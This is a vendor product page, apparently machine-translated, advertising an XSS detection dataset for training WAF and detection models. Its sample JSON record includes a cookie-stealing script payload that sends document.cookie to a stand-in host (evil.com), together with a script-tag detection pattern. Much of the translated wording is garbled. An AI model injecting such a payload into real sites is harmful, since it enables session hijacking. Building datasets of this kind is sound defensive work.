Langhui

XSS Cross-Site Scripting Detection Rule Dataset

1000 ~ 30,000 XSS to detect pentagram data ⁇ XML rule + CAPC flows + HTTP reduction text ⁇ ATT&CK T1189 map ⁇ bypass tag

30,000
Test the five-mix data
XML Rules
Structured Detection Rules
PCAP Traffic
Real Network Traffic
Bypass label
WAF bypasses techniques.
2-4 Weeks
Delivery Cycle

Dataset Overview

Definition:XSS Cross-Site Scripting Detection Rule Datasetis provided byChangsha Langhui Information Technology Co., Ltd.High-quality web safety testing datasets built by security labs. Each piece of data is defined as "XML Rules + PCAP Traffic + HTTP Reconstructed Text + Attack Type Labels + Ground Truth"The five-dimensional association structure, covering reflector, storage, DOM, mutation (mXSS), CSS, and the five main sub-types,WAF bypass technique label(Code bypassing/case-scraping/label split/incident mutation, etc.), ATT&CK framework T1189 (pass-attack) map, specially designed for WAF/ISS XSS testing rules training and XSS testing AI training design.

Dataset NameXSS Cross-Site Scripting Detection Rule Dataset
Total Data Volume1,000-30,000 Records
Data TypeFive-member group: XML rule + PCAP flow + HTTP returned text + attack type label + standard answer
Data SourceLanghui Security Lab + Vulnerability Platform Validation Data
License TypeCommercial Licensing Complete authorization documents are attached
Delivery Cycle2-4 Weeks
XSS subtypeRefractioned, storage XSS (Stored/Persistent), DOM-based, mXSS (Mattered XSS), CSS Injection
Bypass labelInclude WAF bypassing skills tags (coding bypassing/case confusion/label split/incidental event treatment program variation/JavaScript pseudo protocol/HTML physical code, etc.)
ATT&CK MappingT1189(Drive-by Compromise)、T1059(Command and Scripting Interpreter)
Output FormatJSONL / CSV / Excel / PCAP
LanguageChinese-English Bilingual

Core Data Fields

Each data contains six main categories of rule labels, XML detection rules, attack on Payload (with bypass techniques), HTTP text, PCAP flows and standard answers, covering the full chain from rule definition to bypass confrontation.

Field CategoryField CountTypical Fields
Rule Identifier4rule_id (only ID of the rules), rule_name (name of the rules), category (XSS sub-type), severity (serious level: CC/High/Medium)
XML Detection Rules3rule_xml (ModSecurity/CRS XML rule), rule_signature (rule signature/regular mode), rule_description (rules note)
Attack Payload4Payload (original Payload), Payload_ type (type of Payload), Bypass_technique (twipe techniques: encoded/cased/distributed/incidental mutations, etc.), Payload_encoding (coding: URL/HTML Enterity/Hex/base64/UTF-7, etc.)
HTTP Reconstructed Text3http_request (full HTTP request, including Headers+Body+Cookies), http_response (full HTTP response), context (injecting context: HTML body/attribute/JavaScript/CSSS/URL)
PCAP Traffic4pcap_file (PCAP file name), pcap_md5 (file MD5), pcap_size (file size), flow_signature (traffic feature signature)
Ground Truth4is_attack (whether attack: True/false), attack_ type (type of attack), bypass_detected (whether bypass successfully bypassed), waf_name (wieldy WAF name/None)

Data Sample Showcase

The following is a model format (with bypass labels) for the MSS five-track test data for the de-identified structural JSON sample.

{
  "entry_id": "XSS-2024-001523",
  "rule_id": "XSS-REFLECT-0089",
  "rule_name": "Reflected XSS Detection - Script Tag",
  "category": "Reflected XSS",
  "severity": "Critical",
  "rule_xml": "<rule id=\"941100\" phase=\"2\">\n  <operator>detectXSS</operator>\n  <action>block</action>\n  <pattern><script[^>]*>[\\s\\S]*?</script></pattern>\n  <target>ARGS|REQUEST_BODY</target>\n</rule>",
  "payload": "<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>",
  "payload_type": "Reflected XSS - Cookie Theft",
  "bypass_technique": "None (standard script tag injection)",
  "payload_encoding": "None (plaintext)",
  "http_request": "GET /search?q=%3Cscript%3Efetch('https://evil.com/steal%3Fcookie%3D'%2Bdocument.cookie)%3C/script%3E HTTP/1.1\r\nHost: vulnerable-blog.com\r\nUser-Agent: Mozilla/5.0\r\nReferer: https://vulnerable-blog.com/\r\n\r\n",
  "http_response": "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: 315\r\n\r\n<html lang="en">...<div class=\"search-result\">Search results: < script> fitch(...) </script></div>...</html>",
  "context": "HTML body - reflected search term",
  "pcap_info": {
    "pcap_file": "xss_reflected_script_tag_20240422.pcap",
    "pcap_md5": "a1b2c3d4e5f678901234567890abcdef",
    "pcap_size": "5678",
    "flow_signature": "HTTP GET with <script> tag in query string parameter 'q', response echoes the script tag without sanitization"
  },
  "technique_id": "T1189",
  "answer": {
    "is_attack": true,
    "attack_type": "Reflected XSS",
    "bypass_detected": false,
    "waf_name": null,
    "true_positive_rate": 0.99
  }
}

AI Application Scenarios

WAF XSS-Program Smart Generation

30,000 XML test rules + Payload+bypass techniques label data, training AI automatically learns the confrontation mode from a bypass sample, produces more robust XSS test rules and continuously improves WAF's ability to counterbypass.

Training in XSS testing models

The five-mix data cover all sub-categories such as reflector, store, dom, mXSS, and support in-depth learning model training to enable AI to detect all types of XSS attacks from HTTP traffic, DOM structure and JavaScript code.

Front-end secure scan AI

A rich XSS injection of context (HTML body/attribute/JavaScript/CSS/URL), training for front-end security scanning AI to automatically identify XSS gaps in Web application, generate PoC and assess risk levels.

Bypass test enhanced

Bypass technical tags (coding bypass/case confusion/label split/incident mutation, etc.) provide AI with high-quality anti-species, training models to identify carefully constructed Bypass Payload and reduce WAF bypass success rates.

Generation of the Content-Security-Policy

Based on XSS attack vectors and context data, AI is trained to automatically analyse Web application structures and generate optimal CSP strategies to maximize XSS protection without unduly limiting functionality.

Security code audit

XSS Payload and mapping data for the gap points, training code audit AI automatically identify JavaScript and unsafe outputs in the template engine (innerHTML/document.write/eval, etc.), generate recommendations for repairs and recommend safety alternatives.

Frequently asked questions

How are datasets authorized? Can it be used for business AI training?
This dataset is provided byChangsha Langhui Information Technology Co., Ltd.Provides business authorization to explicitly cover business AI training and safety product development.
Bypass technique indicates which WAF platforms are covered?
Bypass flags the mainstream WAF/CDN platform (Claudflare, AWS WAF, ModSecurity CRS, F5 BIG-IP ASM, Imperva, etc.), indicating whether Payload successfully bypassed the WAF. It also indicates the technique category around which it is designed (coding, case-writing, split-up, event mutation, etc.) to facilitate the training of generic Bypass detection models.
How do you collect the DOM-type XSS data?
The PCAP traffic of the DOM-XSS does not include Payload (snipes are not sent to servers), so we added the name source (source: migration.hash/document.referrer, etc.) and sink (college: innerHTML/eval/document.write, etc.) to the original HTTP text to help AI understand the pure client-to-client attack chain.
Does the data set contain information on the CSP?
Some HTTP returns contain CSP response headers that can be used to analyse the actual protective effects of the CSP strategy on the XSS attack. The standard answer also indicates information on whether the CSP is effective and supports the training of the CSP strategy assessment and generation model.
How do you obtain data or business advice?
This dataset is provided byChangsha Langhui Information Technology Co., Ltd.Our DataAssets API platform supports both standard datasets and on-demand customization. Please contact us for a detailed data catalog, sample preview, and quote plan.

Needing customized XSS testing programs?

Changsha Langhui Information Technology Co., Ltd. The DataAssetsAPI platform is dedicated to providing high-quality, compliant Web security data assets to AI enterprises and scientific institutions. Support is organized flexibly by XSS sub-type, bypass techniques, and in the context of injection.

Data sample preview Customisation XSS testing program Professional technical support